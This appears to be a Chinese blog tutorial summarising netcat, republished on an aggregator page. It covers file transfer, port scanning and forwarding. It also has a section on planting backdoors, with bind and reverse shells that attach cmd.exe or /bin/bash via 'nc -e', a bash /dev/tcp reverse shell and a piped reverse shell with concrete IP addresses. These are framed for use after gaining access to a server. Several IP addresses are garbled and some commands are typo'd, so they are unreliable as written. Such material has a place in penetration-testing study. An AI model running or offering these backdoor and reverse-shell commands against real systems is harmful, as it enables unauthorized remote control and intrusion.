zoukankan      html  css  js  c++  java
  • netcat基本使用方法总结

    netcat是网络界的瑞士军刀,使用netcat,可以解决客户端主动连接服务器被防火墙拦截的问题,使用netcat,我们的pc(控制端)相当于服务器,服务器(被控制端)相当于一个客户端。下面是netcat原理图:
    netcat原理图
    netcat下载地址:

    https://eternallybored.org/misc/netcat/

    1. 基本使用

    两台机器通信:
    创建一个服务器端
    nc -l -p [localport]
    创建一个客户端方法:
    nc [remote_addr] [remoteport]

    2. 返回Shell

    客户端获取服务端的shell:
    创建一个服务器端(被控制端)
    nc -l -p [localport] -e cmd.exe
    被控制端
    创建一个客户端(控制端)方法
    nc [remote_addr] [remoteport]
    控制端

    3. 文件传输

    使用场景:

    1. 取证

    当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容。
    避免直接在目标机器上进行操作造成取证的误差

    2. 获取目标机器上的敏感文件

    当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输
    为什么可以直接利用nc进行文件传输:
    nc中的数据传输使用的时标准的输入、输出流,所以可以直接利用命令行来进行操作。
    使用方法:
    1). 实现客户端向服务器端传输文件
    创建一个服务器端方法:
    nc -l -p [localport] > outfile
    创建一个客户端方法:
    nc [remote_addr] [remoteport] < infile
    注意端口号和<,>之间要有空格隔开
    2). 实现服务端向客户端传输数据
    创建一个服务器端方法:
    nc -l -p [localport] < outfile
    创建一个客户端方法:
    nc [remote_addr] [remoteport] > infile
    对于无法连接到的服务端,如何避免nc假死:
    如果服务端没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,
    直到连接上服务端,造成一种假死状态。
    解决方法:设置等待时间
    nc -w3 [ip] [port] //设置等待时间3秒钟,超过3秒钟,客户端直接关闭等待连接

    4. netcat信息探测

    使用场景:
    1). 目标内网的扫描
    当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好有一个netcat的话,
    就可以使用netcat进行内网ip和端口的扫描
    2). 对某个目标进行端口探测
    3). 对目标的服务banner进行抓取
    端口扫描使用方法:
    nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
    -v: 表示对错误进行详细输出
    -n: 不对目标机器进行DNS解析
    -z:zero I/O模式,专用于端口扫描,表示对目标IP发送的数据表中不好含任何payload,这样做可以加快扫描速度
    -w1: 超时设置为1秒
    对目标的服务banner进行抓取:
    echo " " | nc -v -n -w1 192.168.1.101 1-1000

    5. netcat建立后门

    使用场景:
    1). 获取目标的命令执行权限
    当目标机器上存在netcat之后,可以使用netcat建立后门,来实现执行目标命令的功能
    使用方法:
    监听型后门(windows):
    服务端:nc [remote_ip] [remote_port]
    客户端:nc -l -p 4444 -e cmd.exe

    连接型后门(windows):
    nc [remote_ip] [remote_port] -e cmd.exe
    服务端:nc -l -p 4444
    客户端:nc [remote_ip] [remote_port] -e cmd.exe

    监听型后门(linux):
    服务端:nc [remote_ip] [remote_port]
    客户端:nc -l -p 4444 -e /bin/bash

    连接型后门(linux):
    服务端:nc -l -p 4444
    客户端:nc [remote_ip] [remote_port] -e /bin/bash

    6. nc命令参数

    查看命令参数:使用nc -h
    -d: 脱离命令窗口,在后台运行,常用于后门建立过程
    -e: 执行某个程序,常用于后门建立过程
    -G gateway: 设置网关,常用于突破内网限制
    -g num: 路由跳数
    -i sec:设置发送每一行数据的时间间隔
    -l: 设置netcat处于监听状态等待连接
    -L: 设置netcat处于监听状态,等待连接,当客户端断开,服务端依旧回到等待状态。
    -n: 设置netcat只识别ip地址,不在进行DNS解析。
    -o file:设置传输十六进制的数据
    -p port:设置本地监听的端口号
    -r: 设置netcat随机化的端口号
    -s addr:设置netcat源地址
    -t: 回复telnet的请求数据包
    -u: 设置netcat使用UDP模式
    -v: 显示错误提示信息
    -w secs:设置连接超时秒数
    -z:设置扫描模式,表示发送的数据包中不包含任何payload

    7. netcat 连接转发

    netcat连接转发
    使用方法:

    echo nc [targetip] [port] > delay.bat
    nc -l -p [localhost] -e delay.bat
    

    当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port上 实现了连接转发功能(端口转发
    场景: kali想通过windows连接到centos:

    1. centos(192.168.146.128): netcat -l -p 4444
    2. windows(192.1.68.1.105): nc64.exe -l -p 4445 -e delay.bat
    delay.bat内容:
    nc64.exe 192.168.146.128 4444
    3. Kali: nc 192.1.68.1.105 4445
    

    7. netcat反弹shell(bash)

    应用场景:
    某些拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat时
    反弹shell
    在没有安装netcat的服务器上执行反弹shell命令: bash -i >& /dev/tc/ip/port 0>&1
    在控制端PC接收netcat命令:nc -lvp port
    在这里插入图片描述
    命令解释:
    在这里插入图片描述

    8. netcat反弹shell(python)

    应用场景:
    某些拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat,但是安装了python时
    在没有安装netcat的服务器上执行python程序
    在这里插入图片描述
    在控制端PC接收netcat命令:nc -lvp 4445
    命令解释:
    在这里插入图片描述

    9. netcat反弹shell(不支持nc -e)

    应用场景:
    某些拿到服务器权限之后,想要设置一个反弹shell,当时因为配置原因不支持 -e 参数:
    在这里插入图片描述
    反弹shell命令:

    nc ip port | /bin/bash | nc ip port
    nc 192.168.1.100 4445 | /bin/bash | nc 92.168.1.100 4446
    

    PC接受netcat命令:nc -lvp port,需要启动两个监听端口

    nc -lvp 4445(输入)
    nc -lvp 4446(输出)
    

    命令解释:
    在这里插入图片描述

  • 相关阅读:
    react-router-dom中route报错处理 Invalid prop 'component' supplied to 'Route': the prop is not a valid React component
    解决create-react-app在ie中打开页面空白的兼容性问题
    使用Echart VUE实战开发-大数据疫情地图
    深克隆 闭包 面向对象总结
    数组去重 数组排序的方法 js实现
    JAVA常用知识总结(六)——Mybatis
    时间复杂度和空间复杂度
    JAVA常用知识总结(五)——Linux
    JAVA常用知识总结(三)——JAVA虚拟机
    JAVA常用知识总结(二)
  • 原文地址:https://www.cnblogs.com/AlexanderZhao/p/12878835.html
Copyright © 2011-2022 走看看